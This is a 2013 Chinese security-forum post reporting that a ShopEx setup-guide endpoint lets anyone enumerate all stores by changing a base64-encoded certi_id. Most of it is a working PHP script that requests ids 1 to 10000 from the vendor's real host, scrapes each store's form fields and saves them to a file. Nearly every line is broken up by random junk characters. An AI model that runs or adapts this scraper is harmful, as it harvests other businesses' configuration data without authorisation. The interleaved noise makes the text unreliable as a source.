中国网络渗透测试联盟
标题:
ShopEx某接口缺陷可遍历所有用户网站
[打印本页]
作者:
admin
时间:
2013-9-21 15:59
标题:
ShopEx某接口缺陷可遍历所有用户网站
简要描述:
- Z) F& c! J% e6 g4 |7 i% n# k; \8 G% c
ShopEx某接口缺陷,可遍历所有网站
* P2 A0 ~6 |$ y+ e. H
详细说明:
# {' R& p$ u; h! B" X
问题出现在shopex 网店使用向导页面
; _# ~: F. z, m& U: H
! _ L/ N2 M+ F6 w/ I
9 ^- d' a% `( p8 r! k( h) X: n
R$ k E7 `" r5 o( t' E* T
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
4 L4 h9 |- k( W) Z% t
" R) f( L. v. l
- _$ Z+ h5 Q6 j; U
! h* o3 }+ F1 I/ s9 s/ A3 L( H
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
- o3 V7 Z) u; x/ d* r( K. L5 L
7 D/ R8 }( ~7 p' W* @
: o; P8 b9 \- C9 Z8 }; D
6 w7 j7 F# G+ E* R6 q7 C
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
9 f- D3 V Q% a e Z: Z3 ]% t6 z N
- o6 H5 p( A7 b6 q0 G
4 ^3 O( N6 k0 Q8 q$ J& s2 e
8 \1 `& i: [) z" y: j3 K3 v
<?php
0 p, n& N; h# Q0 _
1 c% x; |/ @8 a5 a* d4 y( S
for ($i=1; $i < 10000; $i++) { //遍历
+ m" u0 _- ^# J; r4 e
' X* i* }; J" P* K
ShowshopExD($i);
( U- z8 n" s9 o" K6 q
+ H6 Z+ e% I2 Z. |
}
7 J, z D/ o: ~8 b; s/ w. l1 O
" k! g- N) d; z) w S& H: ^
function ShowshopExD($cid) {
( l3 Z7 A/ X4 b' u7 w) F, F) R
: ~. [6 Y9 s/ U5 b
$url='http://guide.ecos.shopex.cn/step2.php';
9 H, k2 b+ t# c( Q$ V7 d
7 R: A5 R( }; I0 `
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
( w3 A0 T) m3 A
. Y$ v/ j# p$ m0 q& z
$url = $url.'?refer='.$refer;
8 z/ v5 \' j( s2 _$ D/ m
7 `8 m# l0 j! I9 B2 I: ?: U
$ch = curl_init($url);
2 P, b" a* k& r) E6 X, h
- x/ m- n( c, v! w
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
+ [# H( t% I( P* ?$ ]) e
( }# ]8 X: \9 J
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
7 z6 Z# q8 C* G5 o, b& r! O# s* s
4 N! s4 D9 W& z: G2 l
$result = curl_exec($ch);
: _* o" Z4 R0 F8 a# `+ U1 S
$ _! s% M. a: Y/ m' G, y
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
4 X( t# t0 |1 w8 |9 s6 \2 Z2 h
: c- a' B9 j# A5 C
if(strpos($result,$refer))
1 v6 ?. E3 h' x. S( S
2 J# g. k) ~7 B8 Q
{
7 }- b5 ^; S% ]+ n
' F- s: Z7 h8 F) p2 x0 j6 R. F
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件
* F$ m% ?+ [/ j8 m: X9 q$ \
u! ?% [4 [) G: m3 T) g B& a8 S
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
. W7 j9 s' k; `; d6 T* a& H
8 u/ L4 r! B& F9 l ^% l) N9 |* @
foreach ($value[1] as $key) {
) |' }% i1 p8 C0 o$ I' G4 V% `3 j) a
0 W% c; O. [, q( {
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
! u( S l9 I3 s4 X3 s
% L# n+ Q& w' ^8 j n
echo $res[1][0].':'.$res[3][0]."\r\n";
, g0 v$ x, ?$ g0 G
+ u3 A$ \5 x) I2 b1 V4 X! _$ s
$col =$res[1][0].':'.$res[3][0]."\r\n";
- M" {7 S: @) e J; \
# h R* L" R7 U1 T; o6 i5 ~* s; ^
fwrite($fp, $col, strlen($col));
6 T$ L, C ]0 T' I
+ s" X/ Z3 `& I. }5 m: w- e
}
2 x+ c) U8 G) n8 |6 a e3 V# O
. ?9 O) T& @, H+ O6 ]1 q
echo '--------------------------------'."\r\n";
! Q$ d& x6 ^9 b) a. b1 q: L
2 Y7 Q% W3 P: c0 w% W
fclose($fp);
, U: \1 o, l* a8 e
- I* |; h. G6 S+ s3 H( p4 n
}
! M( E8 ~- r. Z, I! n: k8 b" f* g
" ~& g2 Y% V7 V) ` ~1 Z3 S9 {
flush();
; h* I, V( g% _" C
% w, ~- ]* A2 R5 |5 G
curl_close($ch);
9 h# k7 N6 q g, b
5 F& O0 G0 r! a" \8 U
}
3 K/ O+ {2 ~1 @" C
. K5 c8 X7 q0 N( p+ }% Y. N
?>
r- R5 q! t' P$ w# r$ K
漏洞证明:
' x* B* E0 I+ C$ x, q/ F. l
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
& A% L0 n& K3 w9 H
refer换成其他加密方式
) P% v& Y+ C. r! V( |
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2